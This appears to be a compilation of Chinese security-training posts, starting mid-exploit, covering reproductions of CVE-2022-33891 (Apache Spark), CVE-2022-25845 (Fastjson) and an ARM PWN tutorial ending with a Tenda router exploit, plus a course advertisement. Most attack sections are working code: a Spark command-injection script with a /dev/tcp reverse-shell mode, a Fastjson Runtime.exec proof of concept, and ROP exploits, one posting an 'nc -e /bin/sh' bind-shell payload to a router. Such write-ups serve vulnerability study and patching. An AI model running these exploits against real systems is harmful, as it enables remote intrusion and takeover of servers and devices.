sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))
payload3 = p64(pop_rdi)+p64(sh)+p64(system)+p64(0)*3+p64(fake_rbp-0x68)+p64(leave_ret)
p.send(payload3)
p.interactive()
CVE-2022-33891 Apache spark shell 命令注入漏洞复现
简介
Spark 是用于大规模数据处理的统一分析引擎。它提供了 Scala、Java、Python 和 R 中的高级 API,以及支持用于数据分析的通用计算图的优化引擎。它还支持一组丰富的高级工具,包括用于 SQL 和 DataFrames 的 Spark SQL、用于 Pandas 工作负载的 Spark 上的 Pandas API、用于机器学习的 MLlib、用于图形处理的 GraphX 和用于流处理的结构化流。
影响版本
Apache spark version<3.0.3
3.1.1<Apache spark version<3.1.2
Apache Spark version>= 3.3.0
环境搭建
目前官网上已经找不到老版本的docker镜像了
搜索老版本的也是为空
这里环境搭建的时使用的是github上私人仓库的镜像,下载地址
https://github.com/big-data-europe/docker-spark需要修改配置文件,下载存在漏洞的版本,修改dockerfile,V3.1.1
修改版本
docker-compose up -d
访问
http:10.10.10.32:8080
这里测试是不存在漏洞的,需要修改配置文件
echo "spark.acls.enable true" >> conf/spark-defaults.conf
POC如下:
#!/usr/bin/env python3
import requests
import argparse
import base64
import datetime
parser = argparse.ArgumentParser(description='CVE-2022-33891 Python POC Exploit Script')
parser.add_argument('-u', '--url', help='URL to exploit.', required=True)
parser.add_argument('-p', '--port', help='Exploit target\'s port.', required=True)
parser.add_argument('--revshell', default=False, action="store_true", help="Reverse Shell option.")
parser.add_argument('-lh', '--listeninghost', help='Your listening host IP address.')
parser.add_argument('-lp', '--listeningport', help='Your listening host port.')
parser.add_argument('--check', default=False, action="store_true", help="Checks if the target is exploitable with a sleep test")
args = parser.parse_args()
full_url = f"{args.url}:{args.port}"
def check_for_vuln(url):
print("[*] Attempting to connect to site...")
r = requests.get(f"{full_url}/?doAs='testing'", allow_redirects=False)
if r.status_code != 403:
print("[-] Does not look like an Apache Spark server.")
quit(1)
elif "org.apache.spark.ui" not in r.content.decode("utf-8"):
print("[-] Does not look like an Apache Spark server.")
quit(1)
else:
print("[*] Performing sleep test of 10 seconds...")
t1 = datetime.datetime.now()
run_cmd("sleep 10")
t2 = datetime.datetime.now()
delta = t2-t1
if delta.seconds < 10:
print("[-] Sleep was less than 10. This target is probably not vulnerable")
else:
print("[+] Sleep was 10 seconds! This target is probably vulnerable!")
exit(0)
def cmd_prompt():
# Provide user with cmd prompt on loop to run commands
cmd = input("> ")
return cmd
def base64_encode(cmd):
message_bytes = cmd.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_cmd = base64_bytes.decode('ascii')
return base64_cmd
def run_cmd(cmd):
try:
# Execute given command from cmd prompt
#print("[*] Command is: " + cmd)
base64_cmd = base64_encode(cmd)
#print("[*] Base64 command is: " + base64_cmd)
exploit = f"/?doAs=`echo {base64_cmd} | base64 -d | bash`"
exploit_req = f"{full_url}{exploit}"
print("[*] Full exploit request is: " + exploit_req)
requests.get(exploit_req, allow_redirects=False)
except Exception as e:
print(str(e))
def revshell(lhost, lport):
print(f"[*] Reverse shell mode.\n[*] Set up your listener by entering the following:\n nc -nvlp {lport}")
input("[!] When your listener is set up, press enter!")
rev_shell_cmd = f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1"
run_cmd(rev_shell_cmd)
def main():
if args.check and args.revshell:
print("[!] Please choose either revshell or check!")
exit(1)
elif args.check:
check_for_vuln(full_url)
# Revshell
elif args.revshell:
if not (args.listeninghost and args.listeningport):
print("[x] You need a listeninghost and listening port!")
exit(1)
else:
lhost = args.listeninghost
lport = args.listeningport
revshell(lhost, lport)
else:
# "Interactive" mode
print("[*] \"Interactive\" mode!\n[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.")
while True:
command_to_run = cmd_prompt()
run_cmd(command_to_run)
if __name__ == "__main__":
main()
如果失败的话重建项目,使用下面这个文件起docker可能是镜像的问题,不同的仓库内的Apache spark配置不同,这个版本是V3.0.0的
version: '2'
services:
spark:
image: docker.io/bitnami/spark:3.0.0
environment:
- SPARK_MODE=master
- SPARK_RPC_AUTHENTICATION_ENABLED=no
- SPARK_RPC_ENCRYPTION_ENABLED=no
- SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no
- SPARK_SSL_ENABLED=no
ports:
- '8080:8080'
访问
http://192.168.0.112:8080/
修改配置文件
docker exec -it 8a /bin/bash
I have no name!@8a7873e77c46:/opt/bitnami/spark$ echo "spark.acls.enable true" >> conf/spark-defaults.conf
I have no name!@8a7873e77c46:/opt/bitnami/spark$ cat conf/spark-defaults.conf
已追加配置,重启docker
root@ubuntu:/home/ubuntu/Desktop/spark# docker-compose up -d
使用poc去生成payload,或者手动也可,但是执行的命令要使用echo写入执行且做base64编码后解码生效。
但是看不到回显,直接反弹shell
python 2.py -u http://192.168.0.112 -p 8080 --revshell -lh 192.168.0.121 -lp 4444
查看连接状态
漏洞成因
漏洞成因是由于Apache Spark UI 提供了通过配置选项 spark.acls.enable 启用 ACL 的可能性。使用身份验证过滤器,这将检查用户是否具有查看或修改应用程序的访问权限。如果启用了 ACL,则 HttpSecurityFilter 中的代码路径可以允许某人通过提供任意用户名来执行模拟。然后,恶意用户可能能够访问权限检查功能,该功能最终将根据他们的输入构建一个 Unix shell 命令并执行,导致任意 shell 命令执行。
参考:https://spark.apache.org/security.html
修复建议
1.建议升级到安全版本,参考官网链接:
https://spark.apache.org/downloads.html2.安全设备路径添加黑名单或者增加WAF规则(临时方案)。
Fastjson 代码执行 CVE-2022-25845
漏洞简介
Fastjson 代码执行漏洞,该漏洞允许攻击者绕过 Fastjson 中的"AutoTypeCheck"机制并实现远程代码执行
影响版本:1.2.80及以下版本,即<= 1.2.80
漏洞复现
我们利用 idea 创建 maven 项目 搭建漏洞环境,在 pom 文件中添加
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.82</version>
</dependency>
创建文件夹 com.example.fastjson
在下面添加两个 java 文件
package com.example.fastjson;
import java.io.IOException;
public class Poc extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
package com.example.fastjson;
import com.alibaba.fastjson.JSON;
public class PocDemo {
public static void main(String[] args) {
String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}";
JSON.parse(json);
}
}
运行 PocDemo
漏洞分析
AutoType
我们知道在 fastjson 1.2.25 后设定了 https://github.com/alibaba/fastjson/wiki/enable_autotype 只有打开 autoType之后,fastjson 是基于内置黑名单来实现安全的,如此可能会造成安全风险,就是绕过https://github.com/LeadroyaL/fastjson-blacklist?_gl=1*1ucxjwe*_ga*MjEyMjY1NzU2My4xNjU3ODUyMDU3*_ga_SQ1NR9VTFJ*MTY1ODIxMjQxMy40LjEuMTY1ODIxMjQ2My4xMA..
不开启时,是基于白名单进行防护的,这个漏洞的产生就是未开启 autoType 时产生的。
但是未开启 autoType 时是基于白名单,是很难实现代码执行的,所以我们就需要想办法 Bypass AutoType 默认禁用策略,可以实现调用任意类
开启 autoType 后,最终调用的是 config.checkAutoType
com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
其中声明了各种被黑名单列入的类,是通过十六进制来记录各种类,可以在 https://github.com/LeadroyaL/fastjson-blacklist?_gl=1*frgjs5*_ga*MjEyMjY1NzU2My4xNjU3ODUyMDU3*_ga_SQ1NR9VTFJ*MTY1ODIxMjQxMy40LjEuMTY1ODIxMjQ2My4xMA..,看到具体类的名称
Throwable
我们注意到在 com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze 中也同样调用了 checkAutoType
同时我们可以发现在 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 会检测目标类中是否属于Throwable 的扩展,之后就会调用 ThrowableDeserializer.deserialize()
所以初步得出结论,如果目标类属于 Throwable 的扩展类,就可以实现打开autoType的类似操作,去调用任何类
为了验证这个猜测,我们修改一下文件
package com.example.fastjson;
import java.io.IOException;
public class Poc extends Error {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
依然可以利用成功
继续关注函数 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 会调用 createException 去创建反序列化函数
com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#createException
最后还是在函数 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 中实现了代码执行
如此整个漏洞就分析完成了
漏洞修复
官方提供了以下四种https://github.com/alibaba/fastjson/wiki/security_update_20220523
● 升级到最新版本1.2.83
● safeMode加固
● 升级到fastjson v2
● noneautotype版本
总结反思
整个漏洞的分析花了很多时间,根据参考文章 https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability/ 来来回回加断点调试了很久。对这个漏洞做一个自己的总结。在默认未开启 AutoType 时,Fastjson 是基于白名单的获取外部类,通过 搜索checkAutoType 发现ThrowableDeserializer#deserialze 中的调用,当然也不止这一处,只是这处能进一步的利用,通过满足类属于 Throwable 的扩展类就可以触发,最后实现代
ARM PWN基础教程
一、前言
在CTF比赛中,我们所能接触到的大部分都是x86 x86_64架构的题目,而在我开始接触IOT方向的研究以后发现智能设备所用到的则是ARM和MIPS架构为主。本篇文章在介绍前置知识的基础上通过CTF的ARM架构类型题带读者更好的入门ARM PWN的世界。
二、前置知识
指令集
Intel和ARM之间的区别主要是指令集,Intel采用复杂指令集而ARM则是精简指令集,精简指令集通过减少每条指令的时钟周期来缩短执行时间可以更快的执行指令,但因为指令较少因此在实现功能时会显得比Intel冗长。
寄存器
寄存器是ARM架构的一个重点,在x86架构上指令可以直接对内存的数据进行操作,而在ARM架构中必须将内存的数据放入寄存器中再进行操作。而寄存器的数量取决于ARM的版本,而ARM32架构下共30个寄存器:
R0在常规操作中可用于存储临时值,也可以用于存储函数的第一个参数或返回结果
在ARM架构中约定指定函数前四个参数存储在R0~R3寄存器中
R7寄存器在函数调用中负责存储系统调用号
R11寄存器即可以用来记录回溯信息,也可以当做局部变量来使用
R13寄存器SP(堆栈指针)指向堆栈的顶部
R14寄存器LR(链接寄存器)在进行函数调用时,LR寄存器内保存调用函数的下一条指令地址,用于被调用函数(子函数)结束工作后返回调用函数(父函数)
R15寄存器PC(程序计数器)类似于X86架构下的EIP寄存器负责保存目标地址,与x86不同的点在于PC在ARM状态下存储当前指令+8的地址。
ARM指令
这里引用 eack师傅在ARM基础知识PPT中所列出指令的表格,在有了X86架构的基础后去看下面这些指令还是很好理解的。
指令功能指令功能MOV移动数据EOR按位异或MVN移动数据并取反LDR加载ADD加法STR存储SUB减法LDM加载多个MUL乘法STM存储多个LSL逻辑左移PUSH入栈LSR逻辑右移POP出栈ASR算术右移B跳转ROR右旋BLLink+跳转CMP比较BX分支跳转AND按位与BLXLinx+分支跳转ORR按位或SWI/SVC系统调用
这里需要单独介绍一下LDR和STR两个指令
LDR用于将某些内容从内存加载到寄存器中,例如LDR R2, [R0]从R0寄存器中存储的内存地址的值读入R2寄存器
STR用于将某些内容从寄存器存储到内存地址中,例如STR R2, [R1]从R2寄存器中将值存储到R1寄存器中的内存地址中
三、例题讲解
这里以jarvisoj 的 typo 例题进行讲解,题目可通过下方链接获得
https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/arm/jarvisOJ_typo/typo 查看题目保护,arm-32-little架构的静态链接文件未开启PIE和Canary保护,存在NX保护无法同时写入shellcode来getshell
amalll@A-M:~/AM$ checksec pwn
[*] '/home/amalll/AM/pwn'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
amalll@A-M:~/AM$ file pwn
pwn: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
因为程序去除了符号表的关系,我们可以使用rizzo插件来恢复符号表,可以从程序中发现system和/bin/sh等关键信息地址,同时在跟随程序流程注意到一处很明显的栈溢出漏洞,getshell所需的条件都满足了。
这边的利用思路就是通过栈溢出漏洞覆盖程序的返回地址,在ARM架构下是覆盖要POP给PC寄存器的地址值,覆盖为一段可以同时控制R0和PC寄存器的GADGET,因为在ARM架构下函数约定R0寄存器作为函数的第一个参数存储,所以我们可以控制R0寄存器指向/bin/sh地址,PC寄存器指向system函数的地址,即可GetShell。
+-------------+
| "a" * 112 |
+-------------+
| pop_gadget | <- return address
+-------------+
| /bin/sh |
+-------------+
| 0 |
+-------------+
| system_addr |
+-------------+
思路确定后,接下来就是具体的实现步骤,首先是栈溢出的偏移是多少,这里我们可以使用QEMU配合gdb-multiarch来得到栈溢出的偏移,首先用qemu-user启动二进制程序
qemu-arm-static -g 1234 -L . ./pwn
然后启动gdb-multiarch,执行远程连接命令即可开始动调,后面的操作方式和x86架构的相同,使用cyclic生成过长字符然后通过溢出覆盖字符串确定偏移
最后确定偏移为112,这里需要注意的是在ARM架构中如果跳转的地址为奇数时会进入Thumb模式,进入Thumb模式后地址的最低位会从1变成0,所以如果通过此方法算出的地址值有错误时,可以通过查看$cpsr寄存器的低第六位值是否为1来判断程序是否发生模式切换,而此处程序并未发生模式切换,所以最终我们的偏移就是112。
确定了偏移后,还需要一个可以同时可以控制R0和PC的gadget,这里使用ropper在程序中搜索到如下的一段gadget
0x00020904: pop {r0, r4, pc};
EXP
from pwn import *
p = process(['qemu-arm-static',"-L", "./", "./pwn"])
pop_r0_r4_pc = 0x00020904
system = 0x000110B4
sh = 0x006C384
payload = 'a'*112+p32(pop_r0_r4_pc)+p32(sh)+p32(0)+p32(system)
p.sendafter("Input ~ if you want to quit", "\n")
p.send(payload)
p.interactive()
四、实战演示
这边以CVE-2022-30476为例进行实战arm栈溢出利用演示,关于固件仿真的部分内容在复现Tenda 2018年的cve漏洞时就有所介绍这边就不过多赘述,这边还是以实际情况的漏洞复现为主。 web服务在获取firmwallEn参数时未进行边界检测直接将参数值通过strcpy函数赋予dest变量,从而造成栈溢出漏洞。
我们通过cyclic测得栈溢出偏移为44,这里就涉及到我们刚才所说的Thumb模式切换的问题,实际的溢出偏移应为48。随后我们可以使用vmmap命令查看qemu-user的内存布局,可以得到libc库的基地址。 这边需要特别说明一下,新版本的pwndbg中关于qemu的兼容性较差,所以只能采用旧版本的插件进行内存布局查看。
与我们在ctf例题中所阐述的ROP构造思路相同,这里也是需要寻找能同时控制r0和pc两个寄存器的gadget,很幸运的是此次寻找的gadget并未以\x00结尾
凑齐所有的利用条件后,编写EXP对webserver服务进行栈溢出攻击
import requests
from pwn import *
url = 'http://192.168.2.1/goform/SetFirewallCfg'
libc = ELF("./lib/libc.so.0")
base = 0xff592000
system = base+libc.sym['system']
pop_r0_pc = base+0x0003db80 # pop {r0, pc};
stack = 0xfffef2c0
pl = 'a'*48+p32(pop_r0_pc)+p32(stack)+p32(system)
pl+= 'nc -lp 8888 -e /bin/sh;\x00'
data = {'firewallEn':pl}
requests.post(url, data=data)
推荐实验:
https://www.yijinglab.com/expc.do?ce=682a3471-bce7-4d12-b9db-b25df36b1246
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

